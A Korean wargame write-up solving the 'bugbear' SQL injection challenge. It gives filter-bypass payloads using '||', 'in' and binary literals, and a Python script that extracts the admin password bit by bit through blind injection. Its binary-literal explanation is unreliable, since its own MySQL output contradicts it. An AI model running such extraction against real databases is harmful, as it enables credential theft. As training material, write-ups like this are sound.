티스토리 뷰

728x90
반응형

if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");

no 파라미터와 pw 파라미터에 필터링이 있습니다. no 에는 prob 이라는 문자열이 포함되거나, _(언더바), (, ) 괄호들이나 '(작음따옴표), substr, ascii, or, and, like, 0x 가 포함되거나 =(부등호)가 포함되면 No Hack ~_~ 이나 HeHe 가 출력되면서 막히는 걸 알 수 있겠습니다. pw 파라미터에는 '(작은따옴표)만 필터링 되어 있네요.

 

$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

이전의 darkknight 문제에서 like 를 사용해서 문제를 풀었던 기억이 나네요. 하지만 여기서는 like 가 막혀있을 뿐더러 0x를 사용하지 말라는 것을 보니 16진수 형태의 아스키코드 값으로 문자열을 비교할 수는 없어 보입니다.

아래는 마찬가지로 addslashes 함수로 sql injection 필터링이 되어 있으니 위 코드에서 sql injection 에 성공시켜서 비밀번호의 길이와 문자열을 알아내보도록 하겠습니다.

$_GET[pw] = addslashes($_GET[pw]); 
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");

 

다양한 문제풀이가 있겠지만 저는 이 문제의 핵심은 like를 우회하는 방법 중 하나인 in 을 이용하는 것 같습니다.

아래 query 문을 보겠습니다.

select id from prob_bugbear where id='guest' and pw='1' and no=1||length(pw)in(8)&&(id)in("admin")

pw 에는 그냥 임의로 1을 넣고, no 에는 or 연산자를 사용해서 뒤의 값이 참이면 admin 이 출력되게 하였습니다. 위 필터링 조건에서 봤다시피 작은 따옴표가 필터링되어 있어서 큰 따옴표를 이용해서 문자열을 묶어주었습니다. 그리고 like 대신에 in 을 사용한 것을 볼 수 있습니다.

 

혹여나 큰따옴표도 막혀있다고 하면 아래와 같이 할 수도 있습니다. 0x 는 16진수라면 0b는 2진수입니다.

select id from prob_bugbear where id='guest' and pw='1' and no=1||length(pw)in(8)&&(id)in(0b110000101100100011011010110100101101110)

2진수형태는 admin 문자열의 각 문자를 아스키코드로 변환 후 모두 합쳐주면 위와 같은 2진수 형태가 만들어집니다.

실제로 아래 query문의 결과를 보시면 확인할 수 있습니다.

select concat('0b',rpad(bin(ord('a')),8,'0'),rpad(bin(ord('d')),8,'0'), rpad(bin(ord('m')),8,'0'), rpad(bin(ord('i')),8,'0'), rpad(bin(ord('n')),8,'0'))="admin";
# 결과 : 0b1100001011001000110110101101001011011100

각 문자 a, d, m, i, n 에 대한 ascii 코드 값을 ord 함수로 구한 다음 bin 함수로 이진수로 구해주고, 8자리 맞춰주기 위해서 rpad 함수를 이용하여서 8자리가 아니라면 우측에 0으로 채워주도록 하였습니다. 그리고 그렇게 해서 나온 2진수들을 concat 함수로 앞에 prefix로 0b를 추가로 붙여준 다음에 한 문자열로 합쳐줍니다. 그럼 저희가 원하는 admin 에 해당되는 2진수 문자열이 나오게 됩니다. 그리고 참고로 해당 문자열은 concat 함수로 문자열로 만들어진 것이기 때문에 "0b1100001011001000110110101101001011011100"="admin"은 당연히 거짓이 나옵니다. 0b1100001011001000110110101101001011011100="admin" 해야지 참이 나옵니다.

mysql> select 0b1100001011001000110110101101001011011100="admin";
+----------------------------------------------------+
| 0b1100001011001000110110101101001011011100="admin" |
+----------------------------------------------------+
|                                                  0 |
+----------------------------------------------------+
1 row in set (0.00 sec)

mysql> select "0b1100001011001000110110101101001011011100"="admin";
+------------------------------------------------------+
| "0b1100001011001000110110101101001011011100"="admin" |
+------------------------------------------------------+
|                                                    0 |
+------------------------------------------------------+
1 row in set (0.00 sec)

 

아무튼 위에서 in 사용법을 숙지하였고 pw 의 length 가 8임을 알았으니깐 pw 의 문자열만 알아내면 되겠습니다.

query문은 아래와 같습니다.

select id from prob_bugbear where id='guest' and pw='123' and no=1||(id)in("admin")&&(conv(hex(mid(pw,1,1)),16,10)&32)in(32)

pw의 첫번째 문자를 mid 함수로 추출하고, hex 함수로 16진수로 변환합니다. 여기서 hex 는 ord 함수와 ascii 함수를 사용하지 못하기 때문에 대체 용도로 사용하기 위해서 사용했습니다. 그리고 conv 함수로 16진수를 다시 10진수로 변환하여 논리연산자 & 로 비교하기 쉽도록 하였습니다. 그리고 이제 & 연산자를 이용해서 128, 64, 32, 16, 8, 4, 2, 1 순으로 비교해서 비밀번호를 구하면 되겠습니다.

 

darkknight 문제에서처럼 동일하게 논리연산자를 이용해서 효율적인 탐색을 하도록 코드를 작성해보았습니다.

import requests

def SQLI():
	url = "https://los.rubiya.kr/chall/bugbear_1.php?"
	headers = {
		'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36',
	}
	cookies = {
		'PHPSESSID':'세션 값'
	}
	length = 8
	result = ""	
	prefix = "pw=123&"

	# pw 구하기
	for i in range(1, length+1):

		byte = 0
		bit = pow(2, 7)
		while bit >= 1:

			param = "no=1||(id)in(\"admin\")&&(conv(hex(mid(pw,{0},1)),16,10)&{1})in({2})".format(i,bit,bit)
			param = param.replace('&','%26')
			res = requests.get(url+prefix+param, headers=headers, cookies=cookies)
			if(res.text.find('<h2>Hello admin</h2>') != -1):
				byte += bit

			bit //=2

		if(byte == 0):
			break

		result += chr(byte)
	print("[+] Result:", result)

if __name__ == '__main__':
	SQLI()

# [+] Result: 52dc3991

결과적으로 비밀번호가 나오게 되고, 아래와 같이 문제가 풀립니다.

 

728x90
반응형
댓글